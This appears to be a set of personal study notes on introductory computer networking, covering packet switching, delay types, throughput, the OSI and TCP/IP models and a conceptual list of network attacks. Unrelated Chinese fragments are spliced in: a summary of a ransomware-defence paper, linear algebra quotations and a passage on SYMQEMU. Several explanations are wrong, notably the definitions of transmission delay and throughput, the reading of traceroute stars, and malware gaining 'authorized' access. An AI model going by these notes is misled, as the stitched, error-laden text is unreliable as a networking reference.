Interference/noise
Radio link types
Wireless LAN (WiFi)
10-100’s Mbps; 10’s of meters
wide-area (e.g., 4G cellular)
10’s Mbps over ~10 Km
Bluetooth: cable replacement
short distances, limited rates
terrestrial microwave

270 msec end-end delay
1.3 Foundation of the network
The Network Core
Network of interconnected routers.
There are devices that we call routers andswitches that support end devices . These devices carryout an event called packet switch. They pick up the package from oneplace, key it and forward it to another location.
We have two basic functions in Network Core:Forwarding and Routing.
Two key network-corefunctions
Forwarding
Forwarding the package never occurs without atransfer destination of a packet can be explained as the transmissionsource point. Also known as switching .(Localaction)
move arriving packets from router’s input link to appropriate routeroutput link
Routing
Routing , on the other hand, takes a package fromthe source point and transports it to the destination point, while thispackage changes hands between other carriers.(Globalaction) Determine the direction.
determine source-destination paths taken by packets
Packet-switching:store-and-forward
Why are packages stored? (Delays in packettransmission)
It may be unknown where the package will go.
Other packages may be expected.
There are packages that have to be sent before.
Packet-switching: queueing
Occurs when demand exceeds the queue service capacity.
Should the packet loss be considered first in thepacket forwarding queue? Here comes the problem.
What should be done in case of package loss?
How do we make the tail efficient?
Packet queuing and loss: if arrival rate (in bps) tolink exceeds transmission rate (bps) of link for some period oftime:
packets will queue, waiting to be transmitted on output link
packets can be dropped (lost) if memory (buffer) in router fillsup
Alternativeto packet switching: Circuit Switching
It is a channel only available to you between you and the target.Wecan compare this to military phone lines. Only interconnected phones tocommunicate between two fronts.
We can think of circuit switching as creating a directchannel between two end devices.
The biggest difference between circuit switching and packetswitching is that circuit users can’t share bandwidth.
end-end resources allocated to, reserved for “call” between sourceand destination
in diagram, each link has four circuits.
call gets 2nd circuit in top link and 1st circuit in rightlink.
dedicated resources: no sharing
circuit-like (guaranteed) performance
circuit segment idle if not used by call (nosharing)
commonly used in traditional telephone networks
Packet switching vsCircuit switching
Packet Switching
Shared channel usage. (More intensive use!)
It can serve more users. Used more widely
It can serve approximately 35 users at a bandwidth of 1 Gbps.
Circut Switching
Dedicated channel usage
It is a less preferred method because it is more costly.
It can serve up to 10 users at a bandwidth of 1 Gbps.
Packet Switching requires a lot of management and planning, as wellas overcoming packet loss problems caused by queue overflows inexcessive packet transfer.We will examine problems such as transmissionproblems and congestion studies during the period and look at how tosolve these problems.
Internet structure: a“network of networks”
Question: given millions of access ISPs, how toconnect them together?
Trying to connect all ISPs together is not a connection that canscale: O(\(N^2\)) connections. So howdo we go about it?
Instead of connecting these many ISPs to one, we can connect to aglobal ISP and obtain a scalable connection.
CustomerandproviderISPs haveeconomic agreement.
Of course, since this universal ISP business would be a reasonablebusiness type, there will be other Universal ISPs providing thisservice.
We use intercontinental high-speed routers that we call IXP (InterneteXchange Point) when connecting these universal ISPs.
Although not as large as Universal ISPs, there are also Regional ISPsthat work with the same logic.
Also content provider networks. They can use their private networks -like Google, Microsoft - to bring services and content closer to endusers. In this way, they get rid of the density in ISPs.
At “center”: small # of well-connected large networks
content provider networks (e.g., Google, Facebook): private networkthat connects its data centers to Internet, often bypassing tier-1,regional ISPs
1.4 Performance
Performance: loss, delay, throughput
In this chapter;
What are the things that affect the performance of a network?
How do we measure the performance of a network?
We will look for answers to questions like.
Packet delay: four sources
Processing Delay: The time required to examine thepacket header and determine where the packet will be forwarded.Processing Delay can also be caused by other factors such aschecking for bit-level errors. This processing delay isin microseconds or less on high-end routers. After this nodalprocessing, the package is queued to go to the other router. In chapter4 we will go into details on how routers work.
Queuing Delay : The delay in which a package thatis in the last row of the queue goes through its turn. The length ofthis queue delay varies depending on the number of packets queued andwaiting to be transmitted.
Transmission Delay: The amount of time it takes forthe router to understand where to route the packet. (I processed thepackage, tagged the package, I learned where it will go after I read it,and I directed it)?!
Propagation Delay: Transmission delay experiencedduring transmission from an endpoint to an endpoint. The propagationrate depends on the physical environment of the connection (i.e. fiberoptic, twisted pair copper wire, etc.)
Transmissionversus Propagation Delay simulation
Caravan analogy
Packet queueing delay
a: average packet arrival rate - (average packet arrival rate) L:packet length (bits) - (packet size) R: link bandwidth (bit transmissionrate) - link bandwidth (bit transfer rate)
$ = : $
La/R ~ 0: avg. queueing delay small
La/R -> 1: avg. queueing delay large
La/R > 1: more “work” arriving is more than can beserviced - average delay infinite!
“Real” Internet delays androutes
what do “real” Internet delay & loss look like?
traceroute program: provides delay measurementfrom source to router along end-end Internet path towards destination.For all i:
sends three packets that will reach router i on path towardsdestination (with time-to-live field value of i)
router i will return packets to sender
sender measures time interval between transmission and reply
tracert in Windows
We can draw some conclusions from these outputs:
We can determine the distance to the delay times. We can see theincreasing delay, especially in continental jumps.
When we start to get three stars, we can understand that our packagewill get an answer.
For more information www.traceroute.org. You can viewthe demo here.
Packet loss
When the queue with limited capacity (we call it buffer) is full, theincoming packets will be lost.
queue (aka buffer) preceding link in buffer has finite capacity
packet arriving to full queue dropped (aka lost)
lost packet may be retransmitted by previous node, by source endsystem, or not at all
You can access this animation that simulates packet loss here.
Throughput and bandwith
To explain the bandwidth on a highway example; The number of vehiclesthe highway can carry per unit time is called abandwidth. When measuring the Badwith according totheir size; We use units such as kilobits per second (kbps), megabitsbits per second (Mbps), and gigabits per second(Gbps).[3]
Let’s say you get a 100Mbps internet connection from your ISP. Aninternet connection at this speed is very satisfactory in today’sstandards for a single use. But even if other individuals living at homeor your next-door neighbor or even people in the coffee shop downstairsare not strong enough, will you be able to get the same appointment fromthis internet connection when you access your 100Mbps internet and startto access the internet from here? Or will you still be able to see100Mbps connection speed when you do an internet speed test?
Of course no. In such a scenario, your internetspeed, which was 100Mbps at first, may decrease to 10Mbps or even loweras the number of users increases.
So why? How does my internet connection, which is 100Mbps, fallbelow this? Wasn’t my speed 100Mbps?[4]
As I said at the beginning, this bandwidth will be enough for you ina single connection. In other words, you will enjoy the highway at aspeed of 100 km/h from the middle lane or the lane of your choice on a5-lane highway. But when other cars start to hit this road, the laneswill start to fill up slowly and you will begin to compromise thecomfortable driving experience you had in the first place. Especially ifthere is an accident, then you ate the quince! Traffic will come to thekey point, so your internet speed will drop to 1Mbps. Predict how aninternet-speed crash experience will occur when 5 people connected toyour network start downloading movies from torrent at the same time.
So the internet you buy as 100Mbps(bandwidth) isonly a value that may vary in one connection range.
Well, is there an internet connection value that I can see the samevalue regardless of what it does?
Yes, we call thorugput the internet connection value showing the samevalue unchanged. If we go through the Throughtput highway example, thenumber of vehicles supported can be expressed in instant time. This iswhy anyone who will pass in instant time on the highway will pass at thesame speed, even if there is a flood that will pass at the same speed,even if it is an earthquake, 1000 cars will pass at the same speed. Thisspeed will be somehow achieved.
So if you get an internet based on throughtput value from ISP. As Imentioned above, you will get a stable connection free of allpossibilities. In addition, throughput is measured with units such askilobits per second (kbps), megabits bits per second (Mbps), again likebandwith.
Of course, in such a case, you will naturally have a much higherbandwidht value. Because these concepts are related concepts. They arenot concepts that disappear while there is one.
speedtest
For this example, my internet connection values that I use in myhome. I currently have 78.8 Mbps instant usage from my 100Mbps bandwidthinternet connection from myISP.[5]
1.5 Protocol layers andService Models
Layering, encapsulation, service models
Networks are complex,with many “pieces”:
hosts
routers
links of various media
applications
protocols
hardware, software
Question: is there any hope of organizing structure of network?
Why layering?
Approach to designing/discussing complex systems:
explicit structure allows identification, relationship of system’spieces
layered reference model for discussion
modularization eases maintenance, updating of system
change in layer’s service implementation: transparent to rest ofsystem
e.g. , change in gate procedure doesn’t affect rest of system
Application layer: Data generated by and usable bysoftware applications. The main protocol used at this layer isHTTP.
Presentation layer: Data is translated into a formthe application can accept. Some authorities consider HTTPS encryptionand decryption to take place at this layer.
Session layer: Controls connections betweencomputers (this can also be handled at layer 4 by the TCPprotocol).
Transport layer: Provides the means fortransmitting data between the two connected parties, as well ascontrolling the quality of service. The main protocols used here are TCPand UDP.
Network layer: Handles the routing and sending ofdata between different networks. The most important protocols at thislayer are IP and ICMP.
Data link layer: Handles communications betweendevices on the same network. If layer 3 is like the address on a pieceof mail, then layer 2 is like indicating the office number or apartmentnumber at that address. Ethernet is the protocol most used here.
Physical layer: Packets are converted intoelectrical, radio, or optical pulses and transmitted as bits (thesmallest possible units of information) over wires, radio waves, orcables.
It is important to keep in mind that the OSI model is an abstractconceptualization of the processes that make the Internet work, andinterpreting and applying the model to the real-world Internet issometimes a subjective exercise.
The OSI model is useful for helping people talk about networkingequipment and protocols, determining which protocols are used by whichsoftware and hardware, and showing roughly how the Internet works. Butit is not a rigid step-by-step definition of how Internet connectionsalways function.
Characteristics :
The OSI model has layered architecture wherein each layer offerscertain services to the layer below it and there is abstraction presentbetween layers.
Each layer passes data and information to the layer below it tillthe lowest layer where actual communication takes place.
The function of each layer varies which helps in reducing thecomplexity.
Protocols, services and interfaces form the basis of the model.Where protocols are the rules that layers have to follow whileexchanging information, services are the set of actions provided by thelayers and interfaces are the medium that layers use to communicate withother layers.
Advantages of OSI Model :
OSI model supports layered architecture and modularengineering.
Both connection-oriented and connectionless services are supportedby OSI model.
It implements abstraction between the layers such that, the changesmade by the above layer does not affect the layer below it.
It provides flexibility to adapt to new protocols with technologicaladvancements.
It reduces complexity as the services are divided into the 7layers.
Disadvantages of OSI Model :
OSI is a reference model. Thus, its practical application isrestricted.
Duplication of some services in layers is observed such as both thetransport layer and data link layer have error control mechanism.
The layers cannot work in parallel as each layer has to wait inorder to receive data from the layer above it.
The protocols in some of the layers were never fully defined such asthe presentation and session layer.
When OSI model was introduced, TCP/IP was already in place and thuschanging it would require a lot of time and money and mainly because alot of time and money had been spent on developing TCP/IP.
1. Physical Layer
The lowest layer of the OSI reference model is the physical layer. Itis responsible for the actual physical connection between the devices.The physical layer contains information in the form ofbits. It is responsible for transmitting individualbits from one node to the next. When receiving data, this layer will getthe signal received and convert it into 0s and 1s and send them to theData Link layer, which will put the frame back together.
The functions of the physical layer are :
Bit synchronization: The physical layer providesthe synchronization of the bits by providing a clock. This clockcontrols both sender and receiver thus providing synchronization at bitlevel.
Bit rate control: The Physical layer also definesthe transmission rate i.e. the number of bits sent per second.
Physical topologies: Physical layer specifies theway in which the different, devices/nodes are arranged in a networki.e. bus, star or mesh topolgy.
Transmission mode: Physical layer also defines theway in which the data flows between the two connected devices. Thevarious transmission modes possible are: Simplex, half-duplex andfull-duplex.
Hub, Repeater, Modem, Cables are Physical Layer devices. NetworkLayer, Data Link Layer and Physical Layer are also known asLower Layers or Hardware Layers.
2. Data Link Layer (DLL)
The data link layer is responsible for the node to node delivery ofthe message. The main function of this layer is to make sure datatransfer is error-free from one node to another, over the physicallayer. When a packet arrives in a network, it is the responsibility ofDLL to transmit it to the Host using its MAC address. Data Link Layer isdivided into two sub layers :
Logical Link Control (LLC)
Media Access Control (MAC)
The packet received from Network layer is further divided into framesdepending on the frame size of NIC(Network Interface Card). DLL alsoencapsulates Sender and Receiver’s MAC address in the header.
The Receiver’s MAC address is obtained by placing an ARP(AddressResolution Protocol) request onto the wire asking “Who has that IPaddress?” and the destination host will reply with its MAC address.
The functions of the data Link layer are :
Framing: Framing is a function of the data linklayer. It provides a way for a sender to transmit a set of bits that aremeaningful to the receiver. This can be accomplished by attachingspecial bit patterns to the beginning and end of the frame.
Physical addressing: After creating frames, Datalink layer adds physical addresses (MAC address) of sender and/orreceiver in the header of each frame.
Error control: Data link layer provides themechanism of error control in which it detects and retransmits damagedor lost frames.
Flow Control: The data rate must be constant onboth sides else the data may get corrupted thus , flow controlcoordinates that amount of data that can be sent before receivingacknowledgement.
Access control: When a single communication channelis shared by multiple devices, MAC sub-layer of data link layer helps todetermine which device has control over the channel at a giventime.
Packet in Data Link layer is referred as Frame. DataLink layer is handled by the NIC (Network Interface Card) and devicedrivers of host machines. Switch & Bridge are Data Link Layerdevices.
3. Network Layer
Network layer works for the transmission of data from one host to theother located in different networks. It also takes care of packetrouting i.e. selection of the shortest path to transmit the packet, fromthe number of routes available. The sender & receiver’s IP addressare placed in the header by the network layer. The functions of theNetwork layer are :
Routing: The network layer protocols determinewhich route is suitable from source to destination. This function ofnetwork layer is known as routing.
Logical Addressing: In order to identify eachdevice on internetwork uniquely, network layer defines an addressingscheme. The sender & receiver’s IP address are placed in the headerby network layer. Such an address distinguishes each device uniquely anduniversally.
Segment in Network layer is referred asPacket. Network layer is implemented by networkingdevices such as routers.
4. Transport Layer
Transport layer provides services to application layer and takesservices from network layer. The data in the transport layer is referredto as Segments. It is responsible for the End to End Deliveryof the complete message. The transport layer also provides theacknowledgement of the successful data transmission and re-transmits thedata if an error is found.
At sender’s side:
Transport layer receives the formatted data from the upper layers,performs Segmentation and also implements Flow& Error control to ensure proper data transmission. It alsoadds Source and Destination port number in its header and forwards thesegmented data to the Network Layer.
Note: The sender need to know the port number associated with thereceiver’s application. Generally, this destination port number isconfigured, either by default or manually. For example, when a webapplication makes a request to a web server, it typically uses portnumber 80, because this is the default port assigned to webapplications. Many applications have default port assigned.
At receiver’s side:
Transport Layer reads the port number from its header and forwardsthe Data which it has received to the respective application. It alsoperforms sequencing and reassembling of the segmented data.
The functions of the transport layer are :
Segmentation and Reassembly: This layer accepts themessage from the (session) layer , breaks the message into smaller units. Each of the segment produced has a header associated with it. Thetransport layer at the destination station reassembles the message.
Service Point Addressing: In order to deliver themessage to correct process, transport layer header includes a type ofaddress called service point address or port address. Thus by specifyingthis address, transport layer makes sure that the message is deliveredto the correct process.
The services provided by the transport layer :
Connection Oriented Service: It is a three-phaseprocess which include:
Connection Establishment
Data Transfer
Termination / disconnection
In this type of transmission, the receiving device sends anacknowledgement, back to the source after a packet or group of packet isreceived. This type of transmission is reliable and secure.
Connection less service: It is a one-phaseprocess and includes Data Transfer. In this type of transmission, the receiver does not acknowledge receiptof a packet. This approach allows for much faster communication betweendevices. Connection-oriented service is more reliable thanconnectionless Service.
Data in the Transport Layer is called as Segments.Transport layer is operated by the Operating System. It is a part of theOS and communicates with the Application Layer by making system calls.Transport Layer is called as Heart of OSI model.
5. Session Layer
This layer is responsible for establishment of connection,maintenance of sessions, authentication and also ensures security. Thefunctions of the session layer are :
Session establishment, maintenance and termination:The layer allows the two processes to establish, use and terminate aconnection.
Synchronization : This layer allows a process toadd checkpoints which are considered as synchronization points into thedata. These synchronization point help to identify the error so that thedata is re-synchronized properly, and ends of the messages are not cutprematurely and data loss is avoided.
Dialog Controller : The session layer allows twosystems to start communication with each other in half-duplex orfull-duplex.
All the below 3 layers(including Session Layer) are integrated as asingle layer in the TCP/IP model as “Application Layer”. Implementationof these 3 layers is done by the network application itself. These arealso known as Upper Layers or SoftwareLayers.
SCENARIO:
Let’s consider a scenario where a user wants to send a message throughsome Messenger application running in his browser. The “Messenger” hereacts as the application layer which provides the user with an interfaceto create the data. This message or so-called Data is compressed,encrypted (if any secure data) and converted into bits (0’s and 1’s) sothat it can be transmitted.
6. Presentation Layer
Presentation layer is also called the Translationlayer. The data from the application layer is extracted hereand manipulated as per the required format to transmit over the network.The functions of the presentation layer are :
Translation : For example, ASCII to EBCDIC.
Encryption/ Decryption : Data encryption translatesthe data into another form or code. The encrypted data is known as thecipher text and the decrypted data is known as plain text. A key valueis used for encrypting as well as decrypting data.
Compression: Reduces the number of bits that needto be transmitted on the network.
7. Application Layer
At the very top of the OSI Reference Model stack of layers, we findApplication layer which is implemented by the network applications.These applications produce the data, which has to be transferred overthe network. This layer also serves as a window for the applicationservices to access the network and for displaying the receivedinformation to the user.
Ex: Application – Browsers, Skype Messenger etc. >ApplicationLayer is also called as Desktop Layer.
The functions of the Application layer are :
Network Virtual Terminal
FTAM-File transfer access and management
Mail Services
Directory Services
OSI model acts as a reference model and is not implemented in theInternet because of its late invention. Current model being used is theTCP/IP model.
TCP/IP Model
The OSI Model we just looked at is just areference/logical model. It was designed to describe the functions ofthe communication system by dividing the communication procedure intosmaller and simpler components. But when we talk about the TCP/IP model,it was designed and developed by Department of Defense (DoD) in 1960sand is based on standard protocols. It stands for Transmission ControlProtocol/Internet Protocol. The TCP/IP model is aconcise version of the OSI model. It contains four layers, unlike sevenlayers in the OSI model. The layers are:
Process/Application Layer
Host-to-Host/Transport Layer
Internet Layer
Network Access/Link Layer
The diagrammatic comparison of the TCP/IP and OSI model is as follows:
Difference between TCP/IP and OSI Model:
TCP/IP
OSI
TCP refers to Transmission ControlProtocol.
OSI refers to Open SystemsInterconnection.
TCP/IP has 4 layers.
OSI has 7 layers.
TCP/IP is more reliable
OSI is less reliable
TCP/IP does not have very strictboundaries.
OSI has strict boundaries
TCP/IP follow a horizontal approach.
OSI follows a vertical approach.
TCP/IP uses both session and presentationlayer in the application layer itself.
OSI uses different session andpresentation layers.
TCP/IP developed protocols thenmodel.
OSI developed model then protocol.
Transport layer in TCP/IP does not provideassurance delivery of packets.
In OSI model, transport layer providesassurance delivery of packets.
TCP/IP model network layer only providesconnection less services.
Connection less and connection orientedboth services are provided by network layer in OSI model.
Protocols cannot be replaced easily inTCP/IP model.
While in OSI model, Protocols are bettercovered and is easy to replace with the change in technology.
The first layer is the Process layer on the behalf of the sender andNetwork Access layer on the behalf of the receiver. During this article,we will be talking on the behalf of the receiver.
1. Network Access Layer
This layer corresponds to the combination of Data Link Layer andPhysical Layer of the OSI model. It looks out for hardware addressingand the protocols present in this layer allows for the physicaltransmission of data. We just talked about ARP being a protocol ofInternet layer, but there is a conflict about declaring it as a protocolof Internet Layer or Network access layer. It is described as residingin layer 3, being encapsulated by layer 2 protocols.
2. Internet Layer
This layer parallels the functions of OSI’s Network layer. It definesthe protocols which are responsible for logical transmission of dataover the entire network. The main protocols residing at this layer are:
IP stands for Internet Protocol and it isresponsible for delivering packets from the source host to thedestination host by looking at the IP addresses in the packet headers.IP has 2 versions: IPv4 and IPv6. IPv4 is the one that most of thewebsites are using currently. But IPv6 is growing as the number of IPv4addresses are limited in number when compared to the number ofusers.
ICMP stands for Internet Control Message Protocol.It is encapsulated within IP datagrams and is responsible for providinghosts with information about network problems.
ARP stands for Address Resolution Protocol. Its jobis to find the hardware address of a host from a known IP address. ARPhas several types: Reverse ARP, Proxy ARP, Gratuitous ARP and InverseARP.
3. Host-to-Host Layer
This layer is analogous to the transport layer of the OSI model. Itis responsible for end-to-end communication and error-free delivery ofdata. It shields the upper-layer applications from the complexities ofdata. The two main protocols present in this layer are :
Transmission Control Protocol (TCP) It is known toprovide reliable and error-free communication between end systems. Itperforms sequencing and segmentation of data. It also has acknowledgmentfeature and controls the flow of the data through flow controlmechanism. It is a very effective protocol but has a lot of overhead dueto such features. Increased overhead leads to increased cost.
User Datagram Protocol (UDP) On the other hand doesnot provide any such features. It is the go-to protocol if yourapplication does not require reliable transport as it is verycost-effective. Unlike TCP, which is connection-oriented protocol, UDPis connectionless.
4. Application Layer
This layer performs the functions of top three layers of the OSImodel: Application, Presentation and Session Layer. It is responsiblefor node-to-node communication and controls user-interfacespecifications. Some of the protocols present in this layer are: HTTP,HTTPS, FTP, TFTP, Telnet, SSH, SMTP, SNMP, NTP, DNS, DHCP, NFS, XWindow, LPD. Have a look at Protocolsin Application Layer for some information about these protocols.Protocols other than those present in the linked article are :
HTTP and HTTPS HTTP stands for Hypertext transferprotocol. It is used by the World Wide Web to manage communicationsbetween web browsers and servers. HTTPS stands for HTTP-Secure. It is acombination of HTTP with SSL(Secure Socket Layer). It is efficient incases where the browser need to fill out forms, sign in, authenticateand carry out bank transactions.
SSH SSH stands for Secure Shell. It is a terminalemulations software similar to Telnet. The reason SSH is more preferredis because of its ability to maintain the encrypted connection. It setsup a secure session over a TCP/IP connection.
NTP NTP stands for Network Time Protocol. It isused to synchronize the clocks on our computer to one standard timesource. It is very useful in situations like bank transactions. Assumethe following situation without the presence of NTP. Suppose you carryout a transaction, where your computer reads the time at 2:30 PM whilethe server records it at 2:28 PM. The server can crash very badly ifit’s out of sync.
Hybrid model
Layered Internet protocol stack
In the real world, we use a mix of both the OSI model and the TCP/IPmodel, called the Hybrid model. In the Hybrid model, the Applicationlayer is a combination of layer 7, layer 6 and layer 5 of OSI model(similar to TCP/IP model). The remaining layers (layer 1, 2, 3 and 4)are the same as the OSI model.
application: supporting network applications
HTTP, IMAP, SMTP, DNS
transport: process-process data transfer
TCP, UDP
network: routing of datagrams from source todestination
IP, routing protocols
link: data transfer between neighboring networkelements
Many people rely on the Internet for many of their professional,social and personal activities. But there are also people who attempt todamage our Internet-connected computers, violate our privacy and renderinoperable the Internet services.
Given the frequency and variety of existing attacks as well as thethreat of new and more destructive future attacks, network security hasbecome a central topic in the field of computer networking.
How are computer networks vulnerable? What are some of themore prevalent types of attacks today?
Malware – short for malicious software which isspecifically designed to disrupt, damage, or gain authorized access to acomputer system. Much of the malware out there today isself-replicating: once it infects one host, from that host it seeksentry into other hosts over the Internet, and from the newly infectedhosts, it seeks entry into yet more hosts. In this manner,self-replicating malware can spread exponentially fast.
Virus – A malware which requires some form of user’sinteraction to infect the user’s device. The classic example is ane-mail attachment containing malicious executable code. If a userreceives and opens such an attachment, the user inadvertently runs themalware on the device.
Worm – A malware which can enter a device withoutany explicit user interaction. For example, a user may be running avulnerable network application to which an attacker can send malware. Insome cases, without any user intervention, the application may acceptthe malware from the Internet and run it, creating a worm.
Botnet – A network of private computers infectedwith malicious software and controlled as a group without the owners’knowledge, e.g. to send spam.
DoS (Denial of Service) – A DoS attack renders anetwork, host, or other pieces of infrastructure unusable by legitimateusers. Most Internet DoS attacks fall into one of three categories :
• Vulnerability attack: This involves sending a fewwell-crafted messages to a vulnerable application or operating systemrunning on a targeted host. If the right sequence of packets is sent toa vulnerable application or operating system, the service can stop or,worse, the host can crash.
• Bandwidth flooding: The attacker sends a deluge of packetsto the targeted host—so many packets that the target’s access linkbecomes clogged, preventing legitimate packets from reaching theserver.
• Connection flooding: The attacker establishes a largenumber of half-open or fully open TCP connections at the target host.The host can become so bogged down with these bogus connections that itstops accepting legitimate connections.
DDoS (Distributed DoS) – DDoS is a type of DOSattack where multiple compromised systems, are used to target a singlesystem causing a Denial of Service (DoS) attack. DDoS attacks leveragingbotnets with thousands of comprised hosts are a common occurrence today.DDoS attacks are much harder to detect and defend against than a DoSattack from a single host.
Packet sniffer – A passive receiver that records acopy of every packet that flies by is called a packet sniffer. Byplacing a passive receiver in the vicinity of the wireless transmitter,that receiver can obtain a copy of every packet that is transmitted!These packets can contain all kinds of sensitive information, includingpasswords, social security numbers, trade secrets, and private personalmessages. some of the best defenses against packet sniffing involvecryptography.
IP Spoofing – The ability to inject packets into theInternet with a false source address is known as IP spoofing, and is butone of many ways in which one user can masquerade as another user. Tosolve this problem, we will need end-point authentication, that is, amechanism that will allow us to determine with certainty if a messageoriginates from where we think it does.
Man-in-the-Middle Attack – As the name indicates, aman-in-the-middle attack occurs when someone between you and the personwith whom you are communicating is actively monitoring, capturing, andcontrolling your communication transparently. For example, the attackercan re-route a data exchange. When computers are communicating at lowlevels of the network layer, the computers might not be able todetermine with whom they are exchanging data.
Compromised-Key Attack – A key is a secret code ornumber necessary to interpret secured information. Although obtaining akey is a difficult and resource-intensive process for an attacker, it ispossible. After an attacker obtains a key, that key is referred to as acompromised key. An attacker uses the compromised key to gain access toa secured communication without the sender or receiver being aware ofthe attack.
Phishing – The fraudulent practice of sending emailspurporting to be from reputable companies in order to induce individualsto reveal personal information, such as passwords and credit cardnumbers.
DNS spoofing – Also referred to as DNS cachepoisoning, is a form of computer security hacking in which corruptDomain Name System data is introduced into the DNS resolver’s cache,causing the name server to return an incorrect IP address.
ntpq is a utility included as part of the NTP ReferenceImplementation suite of tools. It queries a server (e.g. ntpd) andprovides information to the user.

静态链接加密库的勒索软件迫使PayBreak采用稍微不同的方法。静态链接的库嵌入在应用程序的可执行代码中，会受到混淆的影响。因此，PayBreak会在运行时从进程的内存中识别加密过程，然后hooking。为此，我们的系统使用32字节的fuzzy function signatures来标识静态链接的库函数。这种方法类似于IDA的快速库识别和识别技术（FLIRT）。
为了测试PayBreak的功能和有效性，我们需要获取主动加密勒索软件的样本。为了收集这些样本，我们开发了实时自动化的发现，检测和警告勒索软件（RADDAR）系统。该项目将被开源，以帮助进一步研究勒索软件。RADDAR会在各个位置抓取恶意软件样本。 更准确地说，我们从VirusTotalIntelligence获得了样本，该样本提供了针对恶意软件样本的高级搜索功能和下载功能。我们搜索了新提交的样本（即在分析后一周内提交的样本），这些样本也被至少两个反病毒供应商标记，并且包含在Listof Known RansomwareFamilies中。除了这些流行的勒索软件系列之外，我们还下载了基于通用搜索词的示例：勒索，加密或锁定。除VirusTotal外，我们还对各种恶意软件存储库进行了爬取，包括Malc0de和VXVault。

There is hardly any theory which is more elementary than linearalgebra, in spite of the fact that generations of professors andtextbook writers have obscured its simplicity by preposterouscalculations with matrices. 尽管一批教授和教科书作者用关于矩阵的荒谬计算掩盖了线性代数的简明性，但鲜有比之更基本的理论。
Mathematics requires a small dose, not of genius, but of animaginative freedom which, in a larger dose, would beinsanity.数学需要的不是天赋，而是少量的自由想象，但想象太过自由又会陷入疯狂。
\[\begin{align*}ax + by &= e \\cx + dy &= f\end{align*}\]
用矩阵形式可以表示为 \(A\mathbf{\vec{x}} =\mathbf{\vec{v}}\)，其中 \(A =\begin{pmatrix} a & b \\ c & d \end{pmatrix}\)，\(\mathbf{\vec{x}} = \begin{pmatrix} x \\ y\end{pmatrix}\)，\(\mathbf{\vec{v}} =\begin{pmatrix} e \\ f \end{pmatrix}\)。
在这个小测试里，我让你们求一个2×3矩阵的行列式。让我感到非常可笑的是，你们当中竟然有人尝试去做。 On this quiz, I asked you to find the determinant of a 2×3 matrix. Someof you, to my great amusement, actually tried to do this.

我们在qemu的基础之上实现了SYMQEMU，选择qemu的原因是因为他是一个鲁棒性的系统仿真器，并且可以支持许多架构，在他的基础之上进行实现，我们可以实现架构独立性。并且qemu还有另一个特点正好满足我们的需求，他不仅将二进制文件翻译为针对处理器独立的IR，他同时支持将中间语言便已成为hostCPU的机器码。qemu的主要优点是他能够将二进制文件翻译为不同host架构的机器代码，并且可以完成全系统仿真，方便于之后拓展支持交叉架构的固件分析。
